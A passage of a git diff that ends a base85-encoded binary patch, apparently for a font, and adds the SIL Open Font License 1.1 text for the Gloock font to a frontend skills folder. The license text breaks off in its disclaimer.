za3`x(3-Cu`<>)01ldR~lJwmF6%&Z*MMJ!Q|IY5LDzbd>u7d4Dj6!kb9Jw+8G4R1c) z*XnL?cDM9D{&oKZ;?YK6C}m?TueI7=H)Qvf)-CUzOknZTJrlL%%*W)IkGVInZoZ=0 zjy2YO{BQV;@A)6#TPwI1;3-kX%nhq<VXf>5PM3T?#0*?TFbe32j$-jQH+=g)ZpYO~ zkI~MOS8m0B-}m``g#l5Ey(qgsR2Dc4mlAs;%Sa^_7Q~&nFa0c`jNqBS4kuagZ``1+ z72aCdKysY;Fqr1Agx6y%!r<csr+5A^;8cTZRiGG)45w->WGjM@{%(3|>=$BHO#Shf zV(M{2z?)b4e6Ik$7|=^(8BomXh*DHi96-^ze`>Dz@?7bUiVyjGx8mRMFrYyh_BRQd z|0QS!=U*l$kH3iY50P#a29ICK@j5vFBYbOw!B_Eqt{CsH;Ihx?{N4QhC{ER)8b*(Q zjBmA=v2Z>5LlHFm9IY9-FGR@Vjp|)<ud1t$A7j;i@zwiycf>3{rr^CtQTHrvf>m=* zjsED4?c0(1@dD0~K&l2FJi10jul>Brv90~)o40SehvZ{kip^;(f}6vEPj(5Vqueag zF%p!59(cGs&F%IQ<t+4|1j;RNy1}h}#6@|1kaQ)Qfm;MkLeW5696XIWbzE#PR;!-a z@tSGXI@^aI+SaWyy#_c@ZeazR6-uOXopspeM$xVghZRd9(>c{z6pSm{v4f3;N`6Y^ zy3lAQY?%BU#;q{&g=GrKZp~ZA8bkny74=qIat}^s!V&H58~Z!gI&+=nxdn-*?|8m% zX;GHBw4lCcuup?%(E6zsNE&%MbG7Mt07xz29JoxOC^}MvOp0}wqiBF{SR(svIv{8H zQr)F_L8VQfmfF<rxV<vaXzy_3<uun*n-+UfjYDcvcp5G7G5Hs8e+DE^8k2uv6n~+5 zk$sol0d4$*U0KYYUz?AA1vUBkH7_bZ3h)EvE@2n4*M(Q;<a6wY#_&V9a~jBRXV6+d zs_)*qwY$EnyS``Z)}H!qc46`Qj`hVGH}bDp>hnI9%^qWPiy!GN&{-(5faSMMPdwQ^ zHNmo<!+*4!Lh|NF`i-=Eie{A4sEx(98sDsRci(RDU?TfPqIeE|j?yo3GamAI4$(Jz z%mV^rs!a>mvm>1TRpX%fO`Oy>D>NSQ)@{P;BbWz%yrq&ypcQYzt$kP@VXFw)t(d)_ zxVQj+ai-i{6a4|hJTF@S)i32#k56_rPhW>77eMtqg{WS@tb_&O3-B1Kn<N$0ctrhm zr}%x2-0Us#_f3nzP{2{X3Evzp%$_B**L8*#1)4otSRljw(ZwVN6Jv7a>RxtV;r{cV z@$tXW^{il<1iMsEC$?isvq`eiK<P(qOy{7A3gvp(xLgs-2~|Wi|Ajoepz(a=?23T! zl(Vc<ZtE-N+H0Z4Lo==ga~rL9E}CWN1$9G;{N}Qv+^>n~2^XH^O7m>v;<-NEOmjW0 zq}mj2pQu6g4^YEK%tNA*&p~6?;5NXQ*Z}cZ^3q?!I_8Flk-knf&pr*OuVdes$4W!H zOy`B3aC!!gyyxlug@=SV)QNg1uENhABSDXDFMLB7WtY=Vry1xk+#D@C+zi}v$z8|? za#~I1HbZ_>Zc~P%)0op%Y-#0B>CTQf^tfK5%+^#~okPFMtxd+79MpUe^Xdl7E1DgI zIBX#U$1<=%x994Ci#pmjZ+PR3cV7M7>l=T&X;E(M1Z$|b){z{}5(nBlE*iMnvw72R zH@^P6SKm1Uf&^1tv2ZPW6?J1~(99!2hV~+HK?crx3$`Ogh%tKhz2V8MN~5tdYjW5* z+|^ZC)!8+?W!2zVd27*FQEU0w;3}WGtYK<k43bN5V5+`MAlyW>GH!yLL}HS&K@yxu z>EuFEW}Th_5zyXKPJd@-Rb^MF-|3%_nw!|-6UyqR27>V{VQgTkp-k<IYL)u(Fz~b= zeF4A2Nn&7>x;nQ1<B#|41DEm4)19pmIdI|)`MY%w@7wqBW{>cy2NAW%aW78Ld`R5@ z=^OW~fB~knHIF{(fArCF*l*bXh!rAiudqPuVLz1ejGGV~ll~bp_?0YF%i{|N*^4;s z94oims54?KHG5G!%F-rUTH4jyt`q-9{0(wli(I!#xyBu7g4L+I78xd3TKhL}8)(IK zb5~GZ_o)8H-cUCYL|d_Qz@)o}RlV~!Vc0jnfVUSdd=EB@ztG!G>{NyBe!uwIJM1s> z5BdbUlQpogM-VuyL_NGm=oIxUf%j`Xx_3%1F@u6A8KZ81)HXX#Qqb%J1kD2ro7o@K zqa4TBE@RN@4D8<HU)KNr57)mdnEudsSj>N(@_h~Yejw!=x8gE6r$P6_`ak@>{>$qd zpJ(qKZv4YM-6emI>aTL&0G-r3+F#mWLLaZ&Hgeq`|0;~^6Nhc=K|gX!ef<c1MQ*9L z2JFkz*HNE&cJ|TykM^+#ZQ?NHr%`yC;}<%uJPrm+s?(%nPgATHke#t%!%fPFY<Piv z=lQwc5ij2x8X1(7#|D6zGE?{R5nA%hO*d@_jgn1mdtTf~tG_I<!Qv@NT-QJndkGSk zMey8AIP^e37gX1<U$B=T_waKYI(a0H6TUQv9!_?MB)q-!A-qm<o+9gA!yZ5xvb=c~ zZWab1b$V3m@Xb`8v8UK(;eUzN<hs~ty!`(vWj{jMH7JWR3&(^(!0A^F;-=cS0oO$w zu8TNaa;gN^j1$3#daY6VVp;dxbJ~?xim&mn!RMa4!+Qt+ps{{fH3*&IZGvFNWQF}i z%l0GlY4;3Lu0=VvN)<jFQ4!(f9(EDgej$%Q>+MuS)<sRQwJwiYp7ooo<uQ2O>;L?7 zzX%P2;bf+ZPIhy}MaKsRVQ-`p3`InY{gTIAD!Uipls8C`g&K{Of{^`Fd4=klxPk8R z6}g4#TJ2yDV>8~oT=rBqe)Z?)irDGP*z<^}j8Szj+$reQW^jEy)-+fiaSEf(D(@2d zs=G!1?D^<aw~J0fC)kCJt|z}^RDJx6g)gB`JOz4RLXjt7TL8t7N9yOAi7zknN2>SY z2Ydq{bk$d&tG=Y@s^GnK(acwh%#zrz6WpG&Urj7H=S6Qm-rv&gY;d>sJ^m)?tq87k zLvIyl{r(9bE3cjCnFcSO>|S11>a!2k`Kw#G_S#Z2f-P0hRv}v+TZO^845Lc=5Z}GC zx`E-eJ^X=dQrs5(iRTNi%~z>Y=JrF&o&TeM{&9bR=@XegApUw*{520~qo6kYkskIN zaCyCO6f@!A@mH}9YlN$w!D>ABSX5hx(}`{=sui*Gq)kAF`#owO<uWYS;krR5vG^m5 z|AsV4{9Wy5o4C3x{#%l51#uE>KPLAxs%7!+h`ufE6?!A~L*IUsJ%O3{7L-ls%=2H8 zYymxYqmaYC0KIWIItd2+k%oJGPguEScMlJXPjl^7DiyXJMNtfui=>#?BgZmgkAzG) z=S%7}*UA5@8lcO5dv25Z+b7gO8hSmbwo9g3#Oj6VmY`6dXkE%a_UG8_{|VW*T#A87 zf=YZ;c}6sKl)Wekx)I6RAzKsGpANRgJv3pv6D&vX9nX(>Z^N^*hs0kUo;~bj0@I3L zisCj&4}aqDVdi;;sA!RWfu9&owK6Q33f|{xU}2C95*S|41UL?C8DTpXxFCTP3v-}2 zvQh4raA@vNWd4dJyPefXZJh_JU6VkTKCX93c#^Dd6gu!?2qVYZLq8vgT^hnUQ><^? zmL`bzEquVHg$9XYW*W?(mRL}YSufrvoIQV?@ZkKg@Ze=*S0`Q-xMNoQ`Pl8F5=J9O zoMTjm1dN=psRb;H>F3bwvr|Ci^4N@HM`AO=5FL7!^&C0`Qw>>b2%AdXyob_ANj;<* z=T4`7(Z_L|9;Dbe+3uKI!Zk+q@#Nzl!Zt$lj0|e76Z<uff2m+THlGHc{*L`*<Dpq$ z_VBDs09W~T`NU0!cVXlg*-%fzHd1K>@7*ZdFV!y`7s-e!85?aF!9}*(nNXRzd8Lr1 z_{#%itqm0-oG6qMG3v$;4Topx@f{({srcL2qcZ7G8lfs=LEQ`-*M+G_f&#b21AZ;= zG57lrER)Kw%wzWw8S#pa!=xI5F7``A)?oHZd(e~M<w87BCq^nZ)He#3jj#*NJs&&r z#nnp1?DhG72}$2nYc-Ooh|JpW$n98t-wc_5xZwz^Qy=)|ogu!-7lsCAFs0YA@wtDh zQ|7CL*M@vp6)I<0WkCE}qWCu)`~qGN>lM?<<zQD?8(9)-*AJr#pXK*QS3qkCR;Mpt z1gHHtR0~BFFRF*3uDLg(Dtir;eSWeEd8O*(*8qPMQLB~KyS2(Hq|^*P@}h9}{J8Mv zx$*gI;m`PWcO!Zjh*<F!LyIbLgYO3{5SrU&OzK!nZcK0%pjnOCeKw!ncg)@qxGM4L zf88;PJ(Usjk4q3?3Z<D6Nu{(JNGpOw6nii;fFVbSR;fHNB+X#j`$F?q;^oJhLUj6y z_Kq*6wRij~G?yhaJ)8wHFaMcLb92Cd1az`=An_e(E+}oBbUwTi>pAvBtS8JRXi9*R zx611n@d<_V5aiN2!D*OblZ_QTg3e%BjD?NQa_;b3;%O3J3r&${cO4SXAf#X{8dXO2 zOToy;Saq7rXJh3tVYGP{d!d_XOCf$;Weh%$_(1T**%$GTelA|8$u1b0UDCXb8kvh@ zFFO9DJi(4Dlh*1Je<M#@36qP~+;EMYC-VBEYQ>66tM2h9l&R~IrzwrRc)I+6X(m>x z9PHQNFKsH7#1#!8ugWRBE0UK*(5{`8-8JRuS^8{SVWfM-RGyPzNXsb*Bo{hLi%N6# z+3ArEnT#yGu|Vl8ID+JfQNE)+GL)KcE74+G^@7UD?gp%@WlF_9Lj}eYz6B^EjG34f z9-**jNbwNK-&(`GTB7dbG2Ll~jGS_l<S~+fEwX0o4FEhn<VnIk>_vGG@+EDS#m3nT zxw++5rQ`Z+Yf*7&cDmwY3a48N9+juc37u6stuM&cJVbss7893a%2ARdzj4H2mhcl5 zo6}*;ZU7$OpWu|BB_G%c7&y6aY!L?FGsAVS+WB45U_O{%h>aYQiwxjXR}B9z#}??y zhU3kat<RFj+*+QSYp}&h<Nc5(w?H4+tH|Fcj(p@>pd}8ggA;px&jt^sJ-^^tZmfh( zd3GA)**gCRcJ;V;u4Vphp+vN@H$Gu+h*qHl$JNj6e^j2RL3!e04s3;2@oL$tXbdAr zfd2q{5@f_0+127tBB{gXC`uYD$O$0}G{XjtC;*#Vx(gcGl_zio(T)=|4+*E^bc`X@ za%h;al1hQB*nI^jKfIXoWj!$e$tMQ!*w;+BFtE`EdpNP9M;cVU3}h@XLs7Dt%nNNU zgH~JKVa_oxQTL_AB&O!%$EeGfwKp!Wb@%2QvHg7M*47xcy{)|>HpMmnjYt}gAX}j~ z->%W-6%<rzHHC={D_h%EG-T;ZK5TLYr>CwRZkTRez1r8*G<IR{>U+;xzPXlF+N{+# zh1{v3A5&vp-GM-N*BJHP3|8|Nb}Z6fUi|JPH>%{h<xUzzyOHY_`YCDdwDySht}O#C z<Gnq8N5g2<SkG2p%Q6ohYKQF;>PP0h>POf_)3VwulPRmfQH(C~UkxVlfV@UTaki~a z*)x2q!Br6J1TnF-PZSvSSs9T7o1U%DEiJM+3zGu{IVUm-iQ3C$Vb}45w#1gN3_X2E z6NB=G@l_3LCBvS_BZz~#pY}z})RT8Caz-!mZcC`ri<cx9I&CNNR+;H4%!i!a3O7Cy z>FFjYPMmM;4bl8%>sK>SVjoenL_uWuTVlkv|CU>RHKM<gBST&|73)0pASi<o;=c<E z^UuMz;^J|3N9VC68#aieA3-v}DN8EBFZ4n7OM@pD_H=$BGtAp`i;&r<KE2H8EMu3` zr+6B>_w~@j_A=)Vwgoki51G!ZbJJ;(ZfU1(10Qf6O~a!;5mPStODHZVQ;Sf1#f2$H z_3}r~FRaoQKRGg<-DexHdbe~|1<vjoJ+sl$VJohTi(g_a&#raZy324u35!qgXcM&= z$!WPMmXXeyU}s51pfSJ0xGOc^kd&K~S(2IS$;jxxW#_r~pVt)l*6OcaR^MD@tTapy zcb)CYG-oADdp7xU%x3%g@saa8s@Hsb-MWif)6=gnbhs_GH8sN(jt=l;<peh)A}AU; zr{nG*kP5$mg<KBU=0RuuYOzHc_ByaJe8KCHuK0-YJM-i9=jXIG7>ab$BmQ8I|Ms-B z05j(=oiXRnwAJ<K9&l84H(Dw)Y$Y~(e0J*E$;#d?b3ucnaA<s_7pHswDtoXluH`J# zX%%@!e^%N%W=~aZ3p*#P)Sg{pDYIl);kx2?Rj^MnB9PNo>tx3j?PSOQEZGsPtzYi= zli$N?YbM*;CTpMuY@ffJXu-em3)moENB^MZz_+4=w9yzzw|hvzQhX5Q=q~Qp;m5>E z!BZMse!^Wce1|3uL2~r0ZHgU_^K@3$8#;%30+#B^%1Z2;YngOugK>S0g*AB%Uf*&{ zSy`FQF<n&UtR1lAR_5jRc2tejX{sC3iZcr<Q&Vg%i@hTwqtR65w%7(8n#$U=qKraQ zMuxq)!sgUvv{d2{KISUNb`5yMGc(Kcz@zz%IX?7=VzFDKKGCod5n{w>kfMM^TtD~n z(R;anilZGnkjlp|>Fc{>eEib>{!7O_>zvMY9``zjW1XjVsJwirwyduz)~%_t)zsJ5 zl-6tAOI9YXxNFlH2Ue^&aK@&)R<sRWH8p+J;NVr$Q&$bGaI9);Tj?}+SH+gweVrY{ z)m5?mLCD3}iSc7PF$+?FNmWDV$<7cvlK3aQ{_-uY(w02JeWqg3C9*T=c{n6RAhL?a zwY0l)ZDZpaZ&{glO=HJOhht?2&IEF-u2|dDSzI{O?yjuMFDlBf`*AttQ}VAJD0j51 zYiU{6+)SS>9#&ReUTBZoao%}%WTVMNP*&1urvELJ*mU&YftU*rJDbY?YxpYdGH|d> zWw6sYM^bFK*o6%HJU{7=thZ_y1JdzL|Fdh)Z#unbW7Agg`_0$>F~9le&FnO`QhbVa zinq}zKg{ZKiEkj~Hu}RH*~4yRFK~*IqFO`rBGVISAFK;lV)pXB^3Xq1O>J>;Z7sX8 zthb_~ue7wUqN2CVTV=LXS6j?gn6rOl@4_cS5};}fveVxxmpa+I@4pYv$NhM7FMJ^u z;VD>sG{RG@nBy!4R^I@(`l{U2j~EI}fJ0DVv3N5k+k@eALVxLfEL^@22(iIf)Y2!- zceqeEpWyKpt0^a>6x8%F`vwn^I6OEAcp`Jbi$(cJ(`BK&;#pGu`vwPD4vK(2;!!=# zJBlpe($N;2k&1#QwT?yj?js{DDPksm+dBWYb?p3h{MXje(Uy~uk&~OAKK3@iIV?1R zQ#H*WKFQhTf2K1q7*1d85)c~#EtgL2*2A}`w+yq*!%seW)>%)Yzr(6tAxk(P@uJzF zSaP>w$29-M!3N<6Hu%zG1qDC)QGxi{OOF*6{^&=Az06xva6?W_&K)0wexaAi=q2u$ z2aY64qjS=9*kWr;hx3pko0EkWaS3}!^j+xuyVH5pb(GNRM&dA@kK&nd6@yy*sD=DU zr1#@g2{;<48nr>L=leI_h+1~CHu345H#`6Ca2$30ovmgwQe}U-KB6{S&&lExs%<sF zqfS?&O1U=ngy>@r-T3^@ogyO6k2wDRcjw<-I0xh=@qL!h3g@4_ni5<`v3W2~6$80} zP9N9s9oKYDQ;rn<<Yo*}PB67fhpn0Uw-hu;frB*3Sf%(nEBp7qF`6tO-uK*d?ajVH z-}49Kn1j`C6i;8sKJUD<e7+lfzW(#h(^KzW!7YWKvL|7Q6>vshuTX-~BD<7oOrF06 z@_@sm{JoimiTvdaGtaF2=Sp~<z2d8^T72XKmR(aL{uwAxb>ch`11L}p`csX=hV>P^ zJz03S-P4|Q>g$GucjpTxq?=DqxN{hoF{;kQnZvvJDnn<!l+!LyL{u#14N+?i(MK%) z)bcm8H?3-HT-79fS~{%O4h#NSI_`5_?qWrkyDrB+mv|OF4}`KIvq#D*eeQH#?z-$U z*X7LUy3Bd`<<8513H!nU!LBX>ChD;Q((L6cdjTYJY4!W+i@UVmoPl#anh9+cP9E$r z6)X*SCrcY=`};SvBCO5QRo&&w_jZq;R?)V3LcM+Naxael(lmH2*)_$*Ro2W5hqt<A zS+#3zr>4Ba)L3UMH>PJfea)_5H6V(|em1)Ao@NkqC`1}-WATRwBn5X7Vg?rvAz;O` zEeYax*~*0CrDwZbXD?l`J9A1m=5qC$O#QC5V9I3r<?J%A_eQVxxO9@h1)DWPKIur} z;L_OhE+hKL0DaJjyg8(wpxuxl5V7MN4sLKOf&{^Ah=JzfoCHO(kiquHCFiv_xV^d+ zsckd;-u3l~aW3&seVbY}8oN*}2DDmBkKMH_V@+!R1^|>?qKB;0>RQqqtg0DzWttPc z;+a)TT`9%!UT<PvlCdVwRTYN=fPf9e=>spsS@^lQ6#WxRo?B@fl}U%+L`)`A0VdYm z@1ibW*zWai7Y<8zFW}hP4g8qxh&rV+eaLbwRf1Y5o<**j5nm^56;~9!^1Oefq}TEM z^TTJgG@msbWG*ov<jub?<l#Dpo^E?nexPnuPtV$VH1o@Wfu9f;24?X=`aqI$f-*G& zvV%T>)t592ehQLF_t5BrdB)KZx43?;XJpiv_kd6?T8s0AhWS_BU^#fPk=>YIJP!jk zqx<G?2L0=_*J2A!)g_4(V28*=5!bjl3I+jj+^DZ~wF<)7tCCWkt6BzD)oa%!x$Tz5 z!sNt<4pg+W8%K-RwlB$u_gZ@jUCZlh{8if88e^l`&}#E8Kcff{B<iT0RH^U_D!5Tj zeD$#>#V-7PCLQ~FozM4epHKWfD`xw}huNSwCB6fUw5nV<k1G@PVPyiX(OBwQaq_}P zKBn^dp2M$V>Z2dwFL4ZBC@B}>wCFYAbh#?P7T7VV20CX$?PS{J>`bTlO{WuISM#6J zGr{eFM>9>xfi;PrV+~#uQd86szcJTv*0vlcM^TIP2Xoy^^-5qIn^k@xdYT~dt8M{| zQlz%j7t{erDK1-fGNXOJ$_!1ShQmv7GT^@?TTpvHz1ef~gHnDo=k~o)AUFEor!oqu z+)52hOTNH9$u_N6qzOwAxn^V=nUESXT`MMQLDdg%Q-or`00_3AWy(zc#eQ~JY+`%F zbJ$_8_pHEG@mB@*&r;t&TkNP(Vl~;?6$|-M6re(fQD~3XvVV3z6(dadqM%NwS9;3Z z!RXQq>SZs8pZdg4*$ZCpEPgw%u0ftVUv;5SBjiDzd(V13<hl2(o6)Ob)e#{c){-2) za)2e16p3R5Fkz%vJPQ0}UpJK(WEgY_IeEi<O_qurNJlxj!+l3`OR^0bSe4de{L-EE zqw7)QgsO{)tOfEg`Gf%vdl*N4?C*NOdkk+cLOjYF!fl))apEQ1kJ^j2&2AfAowyor za5mQmAD~Zhsx5+_-HVxQBR;t`f-ggha)cFpN#TXYD5-r4JGE$_72Z(VX*PG3mW^iT zjFy+So6YT|wqSPlSZP5=dU{7eMuE=Ey!j=%{Pcp3Onv8;vflFY-ZI=9QqQEHbv4!X zgB2!|9UI=WOcku6*nmB{6{Zqwabx^cxsSkaU^g9ymxK-p1Z)T%h6xb|1>RDnt;sEj z>5LofuF_T^ex^&?zt?Lp3OHTOo1Z&>Uw1c+eLOyVs3n#xB3l}O5*(JIjz6;Lh^S&e zd&e)FKYtajD8&+rI7^%tMH~)vH4b@%BHZZzi_Z|MPxn2!SDozh&3&Ryp8EuO;e+7b zNlt_5GzlP$8TD<CJi^`<zy6b-u&)JJ3QNI(#s3ul86b*^N9_cOBvo?Rg<o=qqTjx0 z<mPqfkDRxP6>z&R`%uhLr-AJ<)if-~bVe(p3n<QqhlfiSCQAEm_0s`|v!g%YPami< zHz(mnRq@%u!BG!gnYgUdQA{y#YSrk%zj4zUozam`J4I&dD+Q~wKpk-;10JFkXHs>Z zDeBugo^kqBBgXf-rfVBkb(DJ?=Je+EUG^@Ev8}wTzg--^Y*k0<VEV|p-@;ua%^Umr zXPb+v8|(=<#NSgA9IR+7T;?B!2{{)1{{sDgMdn>rI(d04f@ekQ3~KUtpW@w(ErCD_ z{TZ!RBmVl>J%eJ9buLO~n<tkBCnkbRC)-*aju!gEA_p-&?u2xjD}ZfT6m0FPf&Xvt z8BPKB<t<)s3;h}M^NskMVYhq46)dKrxw)dk?KY)lWu@Woe*CULnp1xMFZxm8ZmX|v zb62#5dZwg+{_|C7LbLD)@Q-M=exYHB04fri#gD~Lh(5&^eAu9qB7QQ<l0m5(=_VPJ z%2K_=ZyeyIX4FQfQ5TEViTx7h-vM@!s9`^KitgiV*MPXIoByV{244?!3W_2@TapKr z_~pAHAFTMSkQDNiQmBZ)Pu(lT3MiE^>kLqjm=;dxaMc5hT{s|K%#Mj}C;RE*K6UCL z+8~HaXF{(q*I2TJG~!wMH7kAs&2kUH2HT!cr?fMpHR^D1wSifM81!I(Z9{LI1L)a+ zcnQ0o9;l2K{pnTu6ZT`W^A%5}6l9<{2N6mmV1<53pwo7x{#bQJgAv_velxP};{(*Y zE6^DyX1D;$P>_8IxeBKv!bD)CKo^tKXt?u^+fU!lYPX+$`yHoWAii?JkN4kx!3DSP z-?@``)vkrl+3(cpRLX5_FzB=mP6M495B~YX%P;@oy}NfWxo`F|cI>j*`|h3HEoyf2 zl`u_pr_jw_hBXSiXR$K?vEevc3@3-Gu^91xIOHf9W^gAfF3O6D)n;cmB#&wB?cD_y zeT<NhnO&FFlk4`1M_zwCy*4MmJ~_Fh+}2@@(`7d2XWJ8#&E>XAS7P&3Yl-V*sJ0?* zeI7j|EffAfCj;?OKoM(u`k?q*-zs*=_inpQyqPXGzM15Z6U(Gy<C_jhK{!ngJGjB; zyB|k3UGhEFb=x!S@{b7PI@S3YrSE}5QoK7dD#kzhDXnCP-~?jXMp%5Twswo9-A2FK z);2e<{rc=(cWylJna|WxVs0_{Tq~QKS2}myb>Pm$HHX$naC+GWT89%8DTY-0_g1p0 zwKA*t23PH@%=*q<2R7b$*Jn<u&xP8}C8&MZ5AHm07f}{$^3VfTfJ(3`t)_c@bPU)z zBA&tiB;NS+LAKW?=CQon$TCGbgGb4`1s6Z*jj`#5O+Ms2gJrRU?0w&Mpo8b!fSmGL zH^y&6V+QRe_ARlHt$+F;OaZe#_P+Q&szvT(d<+YRBp7Bm3|ea}`?~mb_MB}W>+BV( zee;*}K1~#wrrN;u77lMGf+ZV_X0??a@uB8#iGN{Kcb;#%_$03xn_Yw;YSz$Md0TWQ z__lQvOs$15Vy)YA4fX(+UiI<qtCD`<I+(bMUBep1UyA4Y*w+ePd8GiYU9C!EFN0?h z-KaXvPHyOW8I@ao>{E7deo9y|e>>jdgj%5p{gv_of0)t2lJ|~*J^j#$LnvQ--ypW~ zpVVKS>LAu1wUm1%-9SPs+CDh{4Ey{b5NMV85fcj8aXA+@v19hKl2Aoi?;Qgl8gsHA zB1aUQGg>PhV$5E??Y8Yc-)}I6?*T~UYE&_B9;HUDlh_WcKW<?60Y+z*;TTiV59Evo zguM!c-~|-6_Yx}F0b|qW2XDLWIWDQY(Cb>I*JD-#v6o?`7WU$CgBSpK#9880KY^6@ zIp@YWf2oeFI;Q6jKK<;|2M_-QU~b1B@sg_-{>@$nF9FwfQ*61DrW~_N8MY@p%|MYN znF}$V!#Gj-0<zpJwu7(=|0M$hm-zh`4-8y9+<T#abZ1}R&QaVWkDi6g5#I?*n<ur_ zN7dwSnsz#;o0?WQohyd>cKSyy?CZO5#J{s|pnkHsWvU)K?3yPby``d+E@7!~HMn*P zw4*}UYpP(uZU;y9se(8&bG>Ra$>_v~u-^yvhFHlFVjw2y1p70DpUF>XFktry<x|V~ zS@@fho#98GO?q9diG>P_>hve6meLJup)@{KTN9Tl?oQ54ur0|<I5$2;>xfO#ek-*w zMW2w9bSy^Qq*nhmIX5vOrD(269j9@|YT2Yd$q-+ZlrKJ9lV-3jNo_1j&P&ZmG_dbD zVzok}I!=55*;83kF3VD@8)MWjC*~wA(G{d@j!lZIiA&X-zC@o;kerkF?Q&?xg-N+} zar%T(r01fZ%%sft8-yjXju?$_XG)PSDJSV4&4S=k$FQL#y250AVz&5GM{J_DW=S%; zvM?{RY)QHUzctwYB_7TM&`VN_SZ||R&6?F8qI6<vq3(@X4Y<Y<&BKW}IX5XU)wv`^ zTN{@Fk(q3^bdu_Ba34IbrmZVDmmlh6I*YsKp7FcyKJD(i$M2zo0J_8{#V3_-qCs#> zVHoQrxXc#D;+Tn*urEc#+$_8R&FC57N_x}HV2ebmaHaTr@oiq}WpF#<6{;~KixYZ9 z7@w&W?zQL=_DH2Vbxhbph2|e;B?M)hY7I(F;uo|nNHkC#c!N+&`|n&s4R~?$DBaN1 zC75{~$T!AVy3TBu-%1c50PE2^r5d-O#!XU<fJB|1&Vkv#|4v~OO!z+%-{Upbp+>t> zBj7T}#tL@jy#yeNphm_PmI%w(cd&LsjwL%FDI<&pgKYeB;hOn#1xFAbD7NrB911Pv zQ*|SUP1wcS=?!Y2H|l>$HFTl|(tV^F@aEz9L1aUwg(YlU{V8%uo(UHGJmzo5^$G<1 z&500D77hV4<bA>nV$**aV^JIT!Q-Jet^!<GUS_a^;+Ir!CmEMj%Y>OVYiOk32E03j z-|;sTOYN9g(IqU~wQJEk@~gbvwPJ!^p_RRmrk<u<)oRld{GN6XG(FX)IL&1}#viRv z{!ekaJ;sFI>_h&?gtrKLcmr=+op#^!ifNB8)h7fmyKLRMMR}xyu}%9ZgJ*h$@YcF@ zmk~t!gh^fxBr-aSBYb-$vqxWBIT^aG5>)W2(1E?&UvRBRKDmNyY0;-uFuS#(!AgI! zRv>gpkJg4-t~Ee&00esg!3)Bh<OLxJq<w$V6>O00NQ1_WZ)`()u}+tfl9q*=F&sD* zOP89Nn4Y1oSJw+`bV<pHxg|}_X~{_m`Q}EPN`gIR!r3@m>2Z!Z(8U3kD4gBbM{kay zy>rxhzDmoRhR$&muj^3jS4{-@dhy{xDqDehiFI7wH~t}I_?W-PSjq3fW1;e+#>W>* z*!Qsx!n5a&I(dcUH%XRbmDNoNbxR7ebMo@4^DG_3HC6ewZ&w&IGBfn)>DdJ>l|qd* zuZ-~Vn}tfY8?`}qMr~y7h5LpZdkGg{;jFT(IzwONHl-(~CMV=9$x5vFb-6jGI>#1Y zkzJ6OlA_hR5|dHWUe<zBe0C`~*bCQ0OHU6$oFSycX0TRygT0wTy5CQ4_A(pFyeqvi z>#2;bYg-rI_+cH7Lxd4%k#;Bh*;#$!H&TVl`Cn7HYoN}c58#O_emK(aAYT@TUW zFysTGVc5K`XZ6f5xQ}*T;kG+8O!jtOqm4Zr5C>C*59f1eFW7y;8g?If8r6*t(7bEp z@XaB03Nr%y7t|86BQm=_H&>58VNI?fGcPaGkV|!(WbV?v^wQjo!CdD1`sEpm=i)`r zCjNYqxykG1GZ3XLJeNEp@obf!`OLzzjX%qC2G6DZS*CkDm+@zrV)0zgpJl4TGyFGb zPo@hzSM%qS;0L*6{2&)}M?8Oky=&9*-nD=8y=&p#qIY~R*u5v)3wH0X1_ysdyg%|Z ZJRXMuq>~}=<WkV7j<`GZ5q1FL{{bc@v?c%m literal 0 HcmV?d00001 diff --git a/skills/frontend-dev/canvas-fonts/Gloock-OFL.txt b/skills/frontend-dev/canvas-fonts/Gloock-OFL.txt new file mode 100644 index 0000000..363acd3 --- /dev/null +++ b/skills/frontend-dev/canvas-fonts/Gloock-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2022 The Gloock Project Authors (https://github.com/duartp/gloock) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 